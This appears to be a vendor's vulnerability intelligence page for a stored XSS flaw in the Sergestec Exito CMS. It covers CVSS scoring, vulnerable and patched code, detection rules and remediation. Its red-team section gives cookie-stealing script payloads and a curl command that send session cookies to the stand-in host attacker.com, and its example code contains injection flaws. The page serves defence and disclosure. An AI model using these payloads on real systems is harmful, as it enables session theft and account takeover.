CVE-2025-41021
Executive Summary
CVE-2025-41021 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in Sergestec's Exito v8.0, a content management system. The flaw resides in the /admin/index.php?action=product_update endpoint, where the obs parameter is not properly sanitized or validated before being stored and later rendered in the application. An authenticated attacker can inject arbitrary JavaScript code via a POST request, which will be executed in the browsers of other authenticated users who view the affected product page. This can lead to session hijacking, credential theft, and further compromise of the administrative interface.
The vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the risk remains significant for organizations using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the Sergestec Exito web application.
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base Score: 5.4 (Medium)
- Attack Vector (AV): Network – The attack can be carried out remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – The attacker must have an authenticated session (e.g., a low-privilege admin account).
- User Interaction (UI): Required – The victim must view the compromised product page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., steal session cookies).
- Confidentiality (C): Low – Limited data exposure (session tokens).
- Integrity (I): Low – The attacker can modify content within the victim's browser.
- Availability (A): None – No direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within the admin panel elevates the risk for organizations using Exito.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (also known as Persistent XSS). The application fails to sanitize user-supplied input in the obs parameter during a product update operation.
Attack Flow:
- Authentication: The attacker must be authenticated to the Exito admin panel (e.g., as a product manager or admin).
- Crafting the Payload: The attacker crafts a POST request to
/admin/index.php?action=product_updatewith a malicious JavaScript payload in theobsparameter. Example:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>. - Storage: The server stores the unsanitized payload in the database (likely in a field like
product_obs). - Triggering: When another authenticated user (e.g., a super admin) views the product details page, the stored payload is rendered in the browser without proper encoding.
- Exploitation: The victim's browser executes the injected JavaScript, which can steal session cookies, perform actions on behalf of the victim, or deface the page.
Root Cause: Lack of output encoding and input validation on the obs parameter. The application likely uses echo $_POST['obs'] or similar without htmlspecialchars() or equivalent sanitization.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
// In admin/index.php (action=product_update)
$obs = $_POST['obs'];
$sql = "UPDATE products SET obs = '$obs' WHERE id = $product_id";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<div class='obs'>$obs</div>";
Patched Code (Hypothetical):
// Sanitize input
$obs = htmlspecialchars($_POST['obs'], ENT_QUOTES, 'UTF-8');
// Use prepared statements to prevent SQL injection
$stmt = $conn->prepare("UPDATE products SET obs = ? WHERE id = ?");
$stmt->bind_param("si", $obs, $product_id);
$stmt->execute();
// Output encoding
echo "<div class='obs'>" . htmlspecialchars($obs, ENT_QUOTES, 'UTF-8') . "</div>";
Key Differences:
- Input is sanitized with
htmlspecialchars(). - Prepared statements are used to prevent SQL injection.
- Output is encoded before rendering.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A valid authenticated session (e.g., cookie
PHPSESSID=abc123). - Access to the admin panel.
Exploit Steps:
- Intercept the request: Use Burp Suite or a similar proxy to capture a legitimate product update request.
- Modify the
obsparameter: Replace the value with a malicious payload. - Send the request: The payload is stored.
- Trigger the XSS: Have a victim admin view the product page.
Example Payload (Session Stealing):
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
Example cURL Command:
curl -X POST 'http://target.com/admin/index.php?action=product_update' \
-H 'Cookie: PHPSESSID=valid_session_id' \
-d 'id=1&obs=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>'
Blue Team (Defensive)
Detection Steps:
- Monitor POST requests to
/admin/index.php?action=product_updatefor suspiciousobsparameters containing<script>,onerror,onload, or base64-encoded JavaScript. - Review server logs for unusual outbound connections from the admin panel (e.g., requests to unknown domains).
- Inspect database entries for the
obsfield in the products table for HTML/JavaScript content.
Mitigation (Temporary):
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in the
obsparameter. - Restrict access to the admin panel to trusted IPs only.
- Manually sanitize the
obsfield in the database using a script.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests from the server to unknown domains (e.g.,
attacker.com). - POST requests to
/admin/index.php?action=product_updatewithobscontaining<script>tags.
File/Log IOCs:
- Server access logs showing
POST /admin/index.php?action=product_updatewithobs=<script>.... - Database entries in the
productstable where theobscolumn contains HTML/JavaScript.
Example Log Entry:
192.168.1.100 - - [10/May/2025:12:34:56 +0000] "POST /admin/index.php?action=product_update HTTP/1.1" 200 1234 "http://target.com/admin/" "Mozilla/5.0"
Detection Engineering
YARA Rule
rule CVE_2025_41021_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Sergestec Exito obs parameter"
author = "Valters IT"
date = "2025-05-10"
cve = "CVE-2025-41021"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
$xss_src = /src\s*=\s*["']?javascript:/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in Sergestec Exito obs Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /admin/index.php?action=product_update with XSS payloads in the obs parameter
author: Valters IT
date: 2025/05/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query: /admin/index.php?action=product_update
cs-uri-query|contains: 'obs='
filter:
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection and filter
falsepositives:
- Legitimate use of HTML in product descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-41021 Stored XSS in Sergestec Exito obs Parameter"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php?action=product_update"; http_uri; content:"obs="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
obsfield in the product update form if not critical. - Apply a WAF rule to block XSS payloads in the
obsparameter. - Restrict admin panel access to trusted IPs and enforce strong authentication.
Long-Term Fix:
- Input Validation: Sanitize all user inputs using
htmlspecialchars()or a similar function. - Output Encoding: Encode all data before rendering in HTML context.
- Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
- Update: Monitor for an official patch from Sergestec and apply it immediately.
Verification:
- After applying fixes, test by attempting to inject
<script>alert(1)</script>into theobsfield. - Use a vulnerability scanner to confirm the XSS is no longer exploitable.
Valters IT